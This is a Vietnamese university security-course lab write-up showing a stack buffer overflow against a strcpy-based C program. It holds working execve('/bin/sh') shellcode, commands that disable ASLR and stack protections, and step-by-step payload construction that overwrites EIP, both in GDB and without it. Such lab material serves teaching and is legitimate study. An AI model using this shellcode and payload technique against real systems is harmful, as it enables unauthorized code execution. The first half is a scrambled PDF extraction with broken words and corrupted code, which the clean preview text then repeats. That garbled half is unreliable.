Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github | Bài tập môn An toàn thông tin Trường đại học sư phạm kỹ thuật TP. Hồ Chí Minh

3. Thực hiện:- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành; Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên (sudo sysctl -wkernel.randomization_va_space=0).  Biên dịch chương trình với các option tắt cơ chế bảo vệ stack thực thi code trên stack.  Tài liệu giúp bạn tham khảo, ôn tập và đạt kết quả cao. Mời bạn đọc đón xem!

1. Đề bài:
- Thc hi n t ấn công buffer overflow chương trình vuln.c, code có ở github.
- SV t chn giá tr c a buffer t 80 - 512 (không l y giá tr 64).
- Chp màn hình các c th c hi n + gi i thích. bướ
- Np file PDF.
Chương trình cn tn công:
#include<stdio.h>
#include<string.h>
int int main( argc, char* argv[])
{
char buf[ ];204
if (argc==1)
printf("missing argument\n");
else
strcpy(buf,argv[1]);
printf(" "buf: 0x%x\n ,(unsigned int)buf);
return ; 0
}
2. Ý tưởng
- Dùng 1 đoạn shellcode v i dãy hexx là:
\ \ \ \ \ \x31 xc0 x50\x68\x2f\x2f x73\x68\x68\x2f\x62\x69\x6e\x89 xe3\x50\x53 x89\xe1\
x31 xd2 x31 xb0 xcd\ \ \xc0\ \x0b\ \x80
- Viế ết đè shellcode lên bi n ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204])
Return Address (Eip)
Ebp
Buf[204]
Buf[204]
Stack c c n p ủa chương trình khi đư
Gi Nhi thích: ng c a hàm main s c, ti p theo là local value được nạp vào trướ ế Ebp
được push vào, sau đó sẽreturn address (Eip) và các argument được truyn vào.
Low Stack
High
Lấy đị ắt đầa ch b u ca
Buf[204] (shellcode) ghi
đè lên ReturnAddress
ESP
3. Thc hi n:
- Trước khi t a hn công, chúng ta c u ch nh và tần điề t 1 s chức năng bảo v c
điều hành:
Tt chế độ c p a ch stack ng u nhiên. phát đị
(sudo sysctl -w kernel.randomization_va_space=0)
Biên d và cho phép ịch chương trình với các option t t cơ chế bo v stack
thc thi code trên stack.
(- -fno stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết t i zsh thay vì dash m m t ặc định nh ắt tính năng bash
countermeasures c a Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thc hin dùng GDB
Bước 1: Tìm chi a buf[], c u dài c n là [204] nên không c n thđây ta đã chọ
hiện bước này.
Bướ c 2: Tìm đ a ch bắt đầ u ca shellcode và thc hi n t n công.
+ Vào GDB - t breakpoit t n cu > đặ i v trí g ối chương trình (*main +71)
+ Run chương trình với buf tn công: 27byte shellcode + (204-27)byte giá
tr a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị ca stack
Khi tìm được địa ch ca shellcode s thay vào \xff\xff\xff\xff (v trí Eip
hay địa ch tr v ca stack)
Địa ch b ắt đầu
ca shellcode
204 27 = 177
byte ‘a’
4 byte ‘b’ (Ebp)
+ Dùng câu l nh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa ch a c
shellcode b u t t đầ địa ch
0xffffdc2c)
Ghi đè thành công
Kết qu: Ch c 1 shell mạy đượ i.
Thc hin không dùng GDB
Bướ c 1: Tìm đ a ch bắt đầu shellcode (địa ch buf[204]) dùng câu lnh
printf("buf: 0x%x\n",(unsigned int)buf) và đả ằng địm bo r a ch ca buf
không thay đổi mi ln chy.
Ta s s d ng chu p vào: 27byte shellcode 177byte i buffer nh +
gi uff 4bytá tr bt kỳ” (b er) 4byte giá tr+ bt kỳ” (ebp) + e địa ch
bt kỳ” (return address)
Bướ đị c 2: Thc hin tn công v i dòng lnh thay thế 4byte a ch bt k
bng cđịa ch a buf.
27byte shellcode + 177byte giá tr b t kỳ” + 4byte giá tr bt kỳ”
(ebp) + \xcc\xdb\xff\xff (return address)
V n t qu . à ta nh được kế tương tự
| 1/4

Preview text:

1. Đề bài:
- Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github.
- SV tự chọn giá trị của buffer từ 80 - 512 (không lấy giá trị 64).
- Chụp màn hình các bước thực hiện + giải thích. - Nộp file PDF.
Chương trình cần tấn công: #include #include
int main(int argc, char* argv[]) { char buf[20 ] 4 ; if (argc==1)
printf("missing argument\n"); else strcpy(buf,argv[1]);
printf("buf: 0x%x\n",(unsigned int)buf); return 0; } 2. Ý tưởng
- Dùng 1 đoạn shellcode với dãy hexx là:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\
x31\xd2\x31\xc0\xb0\x0b\xcd\x80”
- Viết đè shellcode lên biến ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204]) High Return Address (Eip) Ebp
Lấy địa chỉ bắt đầu của Buf[204]
Buf[204] (shellcode) ghi …
đè lên ReturnAddressESP Buf[204] Low Stack
Stack của chương trình khi đư c ợ nạp Giải thích: N
hững local value của hàm main sẽ được nạp vào trước, tiếp theo là Eb p
được push vào, sau đó sẽ là return address (Eip) và các argument được truyền vào.
3. Thc hin:
- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành:
Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên.
(sudo sysctl -w kernel.randomization_va_space=0)
Biên dịch chương trình với các option tắt cơ chế bảo vệ stack và cho phép thực thi code trên stack.
(-fno-stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết tới zsh thay vì dash mặc định nhằm tắt tính năng bash
countermeasures của Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thc hin dùng GDB
✓ Bước 1: Tìm chiều dài của buf[], ở đây ta đã chọn là [204] nên không cần thực hiện bước này.
✓ Bước 2: Tìm địa chỉ bắt đầu của shellcode và thực hiện tấn công.
+ Vào GDB -> đặt breakpoit tại vị trí gần cuối chương trình (*main +71)
+ Run chương trình với buf tấn công: 27byte shellcode + (204-27)byte giá
trị a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị của stack
➔ Khi tìm được địa chỉ của shellcode sẽ thay vào \xff\xff\xff\xff (vị trí Eip
hay địa chỉ trả về của stack) Địa chỉ bắt đầu của shellcode 204 – 27 = 177 byte ‘a’ 4 byte ‘b’ (Ebp) 4 byte địa chỉ trả về (mục tiêu để ta ghi đè) + Dùng câu lệnh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa chỉ của
shellcode bắt đầu từ địa chỉ 0xffffdc2c) Ghi đè thành công
Kết quả: Chạy được 1 shell mới.
Thc hin không dùng GDB
Bước 1: Tìm địa chỉ bắt đầu shellcode (địa chỉ buf[204]) dùng câu lệnh
printf("buf: 0x%x\n",(unsigned int)buf) và đảm bảo rằng địa chỉ của buf
không thay đổi mỗi lần chạy.
➢ Ta sẽ sử dụng chuỗi buffer nhập vào: “27byte shellcode” + “177byte
giá trị bất kỳ” (buffer) + “4byte giá trị bất kỳ” (ebp) + “4byte địa chỉ
bất kỳ” (return address)
Bước 2: Thực hiện tấn công với dòng lệnh thay thế 4byte địa chỉ bất kỳ
bằng địa chỉ của buf.
“27byte shellcode” + “177byte giá trị bất kỳ” + “4byte giá trị bất kỳ”
(ebp) + “\xcc\xdb\xff\xff” (return address)
Và ta nhận được kết quả tương tự.